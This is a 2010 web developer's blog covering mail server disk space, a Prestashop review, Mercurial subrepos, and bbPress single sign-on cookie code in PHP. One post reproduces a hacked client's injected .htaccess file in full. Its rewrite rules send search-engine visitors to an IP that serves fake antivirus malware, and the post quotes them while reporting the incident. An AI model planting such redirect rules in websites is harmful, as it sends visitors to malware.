08 Mar 2010Ok, so remember when I was writing about that client of mine who had trouble with its SquirelMail implementation. I thought it was a problem of SquirelMail having trouble dealing with large directories.
It was not exactly that, it more was a question of the IMAP server having issues with disk space. I made some backups of the mails, cleaned it up a little then everything went fine.
But suddenly today, the same SquirrelMail started acting funny, blocking some login attempt telling me that the IMAP server stopped responding, or displaying message list without subject nor owner.
Tired all of this, I decided (my client) to move its whole mail system to GMail, using the Google system, while keeping my clients domain name. To finish the registration process at Gmail, I had to put a googlehostedservice.html file online on the domain to prove that I am the owner and...
452 Transfer aborted. No space left on device
Here is what the FTP server answered. What ? No more space ? But, but, but, but I just cleaned it all, deleting a whole 1Go log file. Wtf ?
I connect to the server and got the list of the biggest files and directories by doing a :
find /var -type f -ls | sort -k 7 -r -n | head -10
I found that the maillog was 1.1Go... I deleted it and hurry the Gmail activation process. Problem solved.
08 Mar 2010One of my client wants to move an old osCommerce site to a new platform. osCommerce is really an old system, it does not handle plugins (you have to hack the core to add functionnality), has tablefull implementation and all the html and php code is mixed up.
I decided to move it to Prestashop. Why Prestashop ? Well, obviously because there is not that much choice on the e-commerce open source website scene nowadays. The only other choice would have been Magento and from what I heard it is quite a pain to install and make it running.
For this project, I need to act very quickly and the new website should be up and running in a matter of weeks. I'll use either a free theme or buy one online, but I won't have time to involve a full design process in this. I'll also have to migrate the complete product, customer and image database from one system to the other.
That won't be an easy task but... well... I have to do it.
Anyway, before starting this whole progress I wanted to see what Prestashop really had to offer me. I read their full feature list and hell, I even went to there open presentation, here in Paris, when the v1.0 was realeased but from what I've seen it was a lot of talk, a lot of features a lot of everything but very little attention to the details.
Well, after testing the demo admin panel a little bit I can say that my first impression was correct. Prestashop seems to be able to do a lot of stuff, really. But the way it is presented to the user is far from optimal. There are a lot of little mistakes that make using the interface more difficult that it should be.
For example they are using icons to illustrate almost any action or link. But sometimes the icons do not have ANY link to the action. The icon for the "tags" section is a dark cloud, the icon for the search engines is a key is an arrow, they use the same icons for very different actions (editing a tab and paying with cheque). An icon is supposed to convey in a rapid and easy visual way what is text is about, but for Prestashop it is more like "What is that supposed to mean ?"
SEO-friendly url are achieved through the use of .htaccess. Normal would you think ? Well yep, usually. But Prestashop does that by generating a huge .htaccess (one line for each product) and mapping each product individually. I'm not really sure, and haven't run benchmarks on this but I guess it forces the server to parse the .htaccess file for each request and redirect to the correct page. It smells like a huge performance bottleneck for me, especially with a website using i18n and multiples urls.
I would have saved the "slug" of each product (in multiple languages if needed) in the database and accessed products only based on their id. Of course, I would have hooked every methods that is supposed to write an html link or any url to a special method that would create the correct url based on the id, slug and language.
They also use a default implementation of tinyMCE with a lot of useless options (like layers, html table, etc). They also have kept the default "insert image" implementation, asking for the image url instead of hooking a custom image upload script, much more useful.
I'll have to use that admin panel anyway. I just hop that I do not underestimate the time needed to move the shop to this platform.
05 Mar 2010Nowadays, when I'm developping a new website, I almost always ended using parts and bits of the previous website I've done. All my websites are based on the same framework (cakePHP) that I have itself updated with its own CMS (Caracole, more on that later).
Caracole is made of several little plugins, each one of them focusing on a simple task (like handling 404 errors, adding a recycle bin, draftable elements, SEO-friendly url, and so on).
I've also updated each one of this plugins to BitBucket, allowing me to easily commit changes and clone new version from one project to another.
But very often, when working on a specific project, using a specific plugin I think that I can update the plugin (be it either by adding a new feature or fixing a bug I've discovered). In that case, I want my changes to be added to both the plugin (on BitBucket) and the project I'm working on at the moment.
To do that, I had to struggle my way with Mercurial because nested repositories (called subrepos) is not a trivial setup.
Setting up subrepo with Mercurial :
Let me show you the classical and easy way to achieve that :
First, let's say you have your main repo. You go in the directory where you want to add your subrepo and you either create it using hg init or hg clone.
You then go back to your main repo root and edit the .hgsub file (if you don't have this file yet, just create it). Add the following line to the .hgsub :
path/to/your/subrepo = path/to/your/subrepo
Now, on every subsequent commit Hg will be aware that your repo is holding a new subrepo. If you omit this line, Hg will not allow you to commit complaining about a repo inside an other repo.
You can now safely commit your main repo, or your subrepo independently.
Now, let's see the edge case.
Changing a classical sub directory into a subrepo
The classical example above is what you can find in the Mercurial help pages. It wasn't that helpful for me because my setup was a little different and it was causing Hg a lot of trouble.
I was not creating a new subrepo, nor cloning a new one. I had sub diretcory of my main app, that I wanted to change into a subrepo. My sub directory was named 'myplugin' and I had a repo of that name hosted on BitBucket.
So I tried to delete my existing 'myplugin' directory, and clone the 'myplugin' from BitBucket, edit the .hgsub and commit but Hg aborted the operation, complaining about the repo in repo file structure.
After a lot of testing, and cry for help, I finally managed to get it to work. The workflow is almost the same, with one little new step.
Deleting the 'myplugin' folder wasn't enough. I had to tell Mercurial to completly remove this files from its index. Using TortoiseHg, I was able to do that by right clicking on the folder, and then choosing 'TortoiseHg > Remove Files'. Then I had to commit those changes, officially telling Mercurial to forget this files, and putting it in a state where those files aren't there at all.
Then only was I able to clone my repo from BitBucket, edit the .hgsub file and commit my main repo.
03 Mar 2010Today a client called me telling me that its website was unavailable, or more exactly that the full content of the FTP was displayed instead of its homepage.
After a little investigation it appears that the .htaccess file had been modified, here was the content I found :
RewriteEngine On
ErrorDocument 400 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 401 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 403 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 404 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 500 http://217.23.5.232/hitin.php?land=20&affid=20116
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://217.23.5.232/hitin.php?land=20&affid=20116 [R=301,L]
A little search online told me that this IP refer to a malware website launching a fake Antivirus software installation.
I have no idea how the .htaccess got modified, but I changed the FTP password.
17 Feb 2010We're almost done. There is just one last thing we must do. We don't want our dear user to have to login twice, once for the main app and once for the form, do we ?
Creating the Configure keys
So first, go back to your bb-config.php file and if you haven't already, define the BB_AUTH_KEY and BB_LOGGED_IN_KEY.
Go to your app/config/bootstrap.php and create entries in Configurefor this same keys. I named mine bbPress.authKey and bbPress.logKey.
Now, go back to your database, open the bb_meta table and find the bb_auth_salt and bb_loggued_in_salt values. Copy them to two more Configurekeys (bbPress.authSalt and bbPress.logSalt).
One last key to create. Head back to bb-config.php and add the following line :
define('BB_HASH', 'XXXXX');
Of course, set XXXX to a unique string. The name of your website should suffice, it is just used to differenciate between cookies on the same domain. Report the same value in Configure : bbPress.hash.
Creating the cookies
You're now ready to create bbPress cookies. bbPress will need to create two different sets of cookie.
A bbPress cookie contain a value formatted like : <login>|<expiration>|<hash>
The hash is based on the user password, login, expiration and several other keys. It also involve double hashing of the value, with different salt and key values.
I've eased the pain of understanding how to create a cookie value, just use the following function :
function __getCookieValue($options = array()) {
// We will need the login, pass and expiration date to create the cookie
$userLogin = $options['name']; // The user login
$userPass = $options['password']; // The password encrypted in the database
$userPassFragment = substr($userPass, 8, 4); // We will take only a small part of the password
$expiration = $options['expiration'];
$data = $userLogin.$userPassFragment."|".$expiration; // The main data that will be used create the final hash
// We first get a first hash key that we will use to generate a second one
$firstKey = hash_hmac('md5', $data, $options['salt']);
// Then we create the final hash saved in the cookie
$finalHash = hash_hmac('md5', $userLogin.'|'.$expiration, $firstKey);
// The final data to store in the cookie
return $userLogin."|".$expiration."|".$finalHash;
}
You should pass to this function an array containing a name, password and expiration date. The password should be exactly as it is stored in the database.
You should also pass a 4th value, named salt, that is different depending of the type of cookie you're trying to create. For a auth cookie, use Configure::read('bbPress.authKey').Configure::read('bbPress.authSalt') and for a log cookie, use Configure::read('bbPress.logKey').Configure::read('bbPress.logSalt').
You will need to create two log cookies (for / and /forum/) and three auth cookies (for /forum/bb-admin,/forum/bb-plugins and /forum/my-plugins).
Here is the complete method for creating all these cookies. Just call it in your app whenever your want to log the current user to the forum. Just feed it a user and password.
/**
* createCookies
* Create the cookies that can be used to connect to the bbPress forum
* bbPress does a lot of complicating stuff with hashing when creating its cookie. We replicate it here
*
* The content of the cookie is formed in the format username|expirationDate|hash
*
* The hash part is the most difficult, it involve double hashing based on various salt and values
**/
function createCookies($name, $pass) {
$expirationDate = time() + 1209600; // When the cookie should stop working (2 weeks)
// Getting the log in salt
$completeSalt = Configure::read('bbPress.logKey').Configure::read('bbPress.logSalt');
// The log in cookie name
$cookieName = "bbpress_logged_in_".Configure::read('bbPress.hash');
// Getting the value
$cookieValue = __getCookieValue(array(
'name' => $name,
'password' => $pass,
'salt' => $completeSalt,
'expiration' => $expirationDate
));
// Setting the cookie for the correct path
setcookie($cookieName, $cookieValue, $expirationDate, "/", false, false, true);
setcookie($cookieName, $cookieValue, $expirationDate, "/forum/", false, false, true);
// Getting the auth salt
$completeSalt = Configure::read('bbPress.authKey').Configure::read('bbPress.authSalt');
// The auth cookie name
$cookieName = "bbpress_".Configure::read('bbPress.hash');
// Getting the value
$cookieValue = __getCookieValue(array(
'name' => $name,
'password' => $pass,
'salt' => $completeSalt,
'expiration' => $expirationDate
));
// Setting the cookie for the correct path
setcookie($cookieName, $cookieValue, $expirationDate, '/forum/bb-admin', false, false, true);
setcookie($cookieName, $cookieValue, $expirationDate, '/forum/bb-plugins', false, false, true);
setcookie($cookieName, $cookieValue, $expirationDate, '/forum/my-plugins', false, false, true);
}
And for logging out, just delete the cookies :
function clearCookies() {
// The name of the cookie to delete
$cookieName = "bbpress_logged_in_".Configure::read('bbPress.hash');
setcookie($cookieName, "", time()-3600, "/", false, false, true);
setcookie($cookieName, "", time()-3600, "/forum/", false, false, true);
// The auth cookie name
$cookieName = "bbpress_".Configure::read('bbPress.hash');
setcookie($cookieName, "", time()-3600, '/forum/bb-admin', false, false, true);
setcookie($cookieName, "", time()-3600, '/forum/bb-plugins', false, false, true);
setcookie($cookieName, "", time()-3600, '/forum/my-plugins', false, false, true);
}
Hope all that helps ! It took some time to put all this together but I hope it could help other bakers out there.
Downloading
For anyone interested, here is a link to download all the files : http://www.pixelastic.com/download/bbpress.rar
Note that it can't be used as-is because it involves a bbPress install, a custom Authentication system and also because I wrote it as part of a bigger plugin.
So, feel free to browse the files and get what you need, but consider it as a part of a bigger app, so you'll have to re-plug what's missing.